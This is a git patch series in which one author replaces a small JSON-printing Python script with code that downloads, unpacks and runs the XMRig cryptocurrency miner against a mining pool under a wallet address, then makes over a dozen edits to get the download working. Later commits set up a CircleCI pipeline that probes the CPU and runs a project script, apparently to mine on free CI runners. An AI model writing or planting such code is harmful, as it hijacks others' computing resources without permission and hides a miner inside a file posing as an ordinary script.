From 95d5d2ed62038e112742631495194a22a11b44d9 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:18:18 +0500 Subject: [PATCH 01/21] Update script3.py --- script3.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/script3.py b/script3.py index 746052e..9c85b3a 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,4 @@ -import json - -with open('countries.json') as json_data: - for entry in json_data: - print(entry) \ No newline at end of file +import os +os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') +os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') +os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From ce0db08132736c366cac6bc5de112c281fd8c0bf Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:22:59 +0500 Subject: [PATCH 02/21] Update script3.py --- script3.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 9c85b3a..fc28be5 100644 --- a/script3.py +++ b/script3.py @@ -1,4 +1,5 @@ import os -os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') +os.system('pip install wget') +wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 57efb3d800f9893a41b288c261505ef695a347c4 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:23:59 +0500 Subject: [PATCH 03/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index fc28be5..c0b732a 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,5 @@ import os os.system('pip install wget') -wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz +!wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 3e79357fc6212dc20c4071526f21eee8cd023daa Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:25:12 +0500 Subject: [PATCH 04/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index c0b732a..b6e3513 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,5 @@ import os os.system('pip install wget') -!wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz +os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 49d1386c26d59a79236594508b693f840b2bf14f Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:25:46 +0500 Subject: [PATCH 05/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index b6e3513..ef27d10 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,5 @@ import os os.system('pip install wget') -os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz +os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 2e6c3236d2ab3c58cbf9154b969d2e2bf7fe94b7 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:27:12 +0500 Subject: [PATCH 06/21] Update script3.py --- script3.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/script3.py b/script3.py index ef27d10..1bec1b9 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,6 @@ import os +import wget os.system('pip install wget') -os.system('wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') +wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 1189124fd8989b7d5d5ec1ab2f2de604bea8a4b4 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:28:11 +0500 Subject: [PATCH 07/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 1bec1b9..d232e76 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os import wget os.system('pip install wget') -wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz +wget "https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz" os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 5f324a3dd757fd5e5854e7e4c5e87b560b3b6b24 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:29:26 +0500 Subject: [PATCH 08/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index d232e76..2364c9b 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os import wget os.system('pip install wget') -wget "https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz" +wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 8620b2bc9c6eb9d2c496f04a779d8ce95896246f Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:31:09 +0500 Subject: [PATCH 09/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 2364c9b..9fbd97b 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os -import wget os.system('pip install wget') +import wget wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 2cbde6e61663f3d050702aea882794f41f3f064e Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:32:32 +0500 Subject: [PATCH 10/21] Update script3.py --- script3.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 9fbd97b..82bfbcc 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,7 @@ import os os.system('pip install wget') -import wget +Os.system('apt install wget') + wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From 590797c886f625a0c95daa78c54a88a61b70a20c Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:33:11 +0500 Subject: [PATCH 11/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 82bfbcc..f9f1530 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os os.system('pip install wget') -Os.system('apt install wget') +os.system('apt install wget') wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') From a7d3ba92c987f70c5f87146050b2923d39dc2ab3 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:33:59 +0500 Subject: [PATCH 12/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index f9f1530..36966f4 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os os.system('pip install wget') -os.system('apt install wget') +os.system('sudo apt install wget') wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') From af11f7945cb5e3dd9d620ed3a717808c92e0754d Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:34:40 +0500 Subject: [PATCH 13/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 36966f4..3486984 100644 --- a/script3.py +++ b/script3.py @@ -1,6 +1,6 @@ import os os.system('pip install wget') -os.system('sudo apt install wget') +os.system('su apt install wget') wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') From a7d05290eb958a652a15d70999898bca96fffb7a Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Wed, 15 Dec 2021 06:46:36 +0500 Subject: [PATCH 14/21] Update script3.py --- script3.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script3.py b/script3.py index 3486984..d1dc8d3 100644 --- a/script3.py +++ b/script3.py @@ -2,6 +2,6 @@ os.system('pip install wget') os.system('su apt install wget') -wget.download("https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz") +os.system('python -m wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p') From ed1a40fb0abbdbc0bea09a759327c7c5b4645f41 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 18:49:49 +0500 Subject: [PATCH 15/21] Add .circleci/config.yml --- .circleci/config.yml | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 .circleci/config.yml diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..6554e1f --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,26 @@ +# Use the latest 2.1 version of CircleCI pipeline process engine. +# See: https://circleci.com/docs/2.0/configuration-reference +version: 2.1 + +# Define a job to be invoked later in a workflow. +# See: https://circleci.com/docs/2.0/configuration-reference/#jobs +jobs: + say-hello: + # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. + # See: https://circleci.com/docs/2.0/configuration-reference/#docker-machine-macos-windows-executor + docker: + - image: cimg/base:stable + # Add steps to the job + # See: https://circleci.com/docs/2.0/configuration-reference/#steps + steps: + - checkout + - run: + name: "Say hello" + command: "echo Hello, World!" + +# Invoke jobs via workflows +# See: https://circleci.com/docs/2.0/configuration-reference/#workflows +workflows: + say-hello-workflow: + jobs: + - say-hello From 6593a76c9e257b63de8c2507e6e61105eddae018 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 18:53:42 +0500 Subject: [PATCH 16/21] Updated config.yml --- .circleci/config.yml | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 6554e1f..d6482bf 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -4,6 +4,8 @@ version: 2.1 # Define a job to be invoked later in a workflow. # See: https://circleci.com/docs/2.0/configuration-reference/#jobs +orbs: + node: circleci/node@4.9.0 jobs: say-hello: # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. @@ -21,6 +23,7 @@ jobs: # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: - say-hello-workflow: - jobs: - - say-hello + example-workflow: + jobs: + - node/run: + npm-run: index.js From f1123139daf6137e5d56f74b83bcdf5dd5599d34 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 18:58:46 +0500 Subject: [PATCH 17/21] Updated config.yml --- .circleci/config.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index d6482bf..98b46e3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -5,7 +5,7 @@ version: 2.1 # Define a job to be invoked later in a workflow. # See: https://circleci.com/docs/2.0/configuration-reference/#jobs orbs: - node: circleci/node@4.9.0 + python: circleci/python@1.5.0 jobs: say-hello: # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. @@ -25,5 +25,4 @@ jobs: workflows: example-workflow: jobs: - - node/run: - npm-run: index.js + - python/test From e9ad24f33b6235ac1a8cea6c7c618376483e3266 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 19:01:39 +0500 Subject: [PATCH 18/21] Updated config.yml --- .circleci/config.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 98b46e3..4bee06a 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -5,7 +5,7 @@ version: 2.1 # Define a job to be invoked later in a workflow. # See: https://circleci.com/docs/2.0/configuration-reference/#jobs orbs: - python: circleci/python@1.5.0 + node: circleci/node@4.9.0 jobs: say-hello: # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. @@ -25,4 +25,5 @@ jobs: workflows: example-workflow: jobs: - - python/test + - node/run: + npm-run: node index.js From f9fa33bcd40f27f7687c8710f28809a5e0cc4d9f Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 19:02:46 +0500 Subject: [PATCH 19/21] Updated config.yml --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 4bee06a..d6482bf 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -26,4 +26,4 @@ workflows: example-workflow: jobs: - node/run: - npm-run: node index.js + npm-run: index.js From ebfcbedcdca8514b897b334a8a90b18aa2805d02 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 19:10:37 +0500 Subject: [PATCH 20/21] Updated config.yml --- .circleci/config.yml | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index d6482bf..dfa91de 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -19,11 +19,16 @@ jobs: - run: name: "Say hello" command: "echo Hello, World!" - +deploy: + machine: + docker_layer_caching: true + steps: + - checkout + - run: lscpu # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: example-workflow: jobs: - node/run: - npm-run: index.js + npm-run: cd Node_Python index.js From fd0b6d9cb9734143aee5e7821d2d46897e109b75 Mon Sep 17 00:00:00 2001 From: Archer00x4 <96009743+Archer00x4@users.noreply.github.com> Date: Thu, 16 Dec 2021 19:15:13 +0500 Subject: [PATCH 21/21] Updated config.yml --- .circleci/config.yml | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index dfa91de..a5930e0 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -18,17 +18,11 @@ jobs: - checkout - run: name: "Say hello" - command: "echo Hello, World!" -deploy: - machine: - docker_layer_caching: true - steps: - - checkout - - run: lscpu + command: "lscpu" # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: example-workflow: jobs: - node/run: - npm-run: cd Node_Python index.js + npm-run: Node_Python/index.js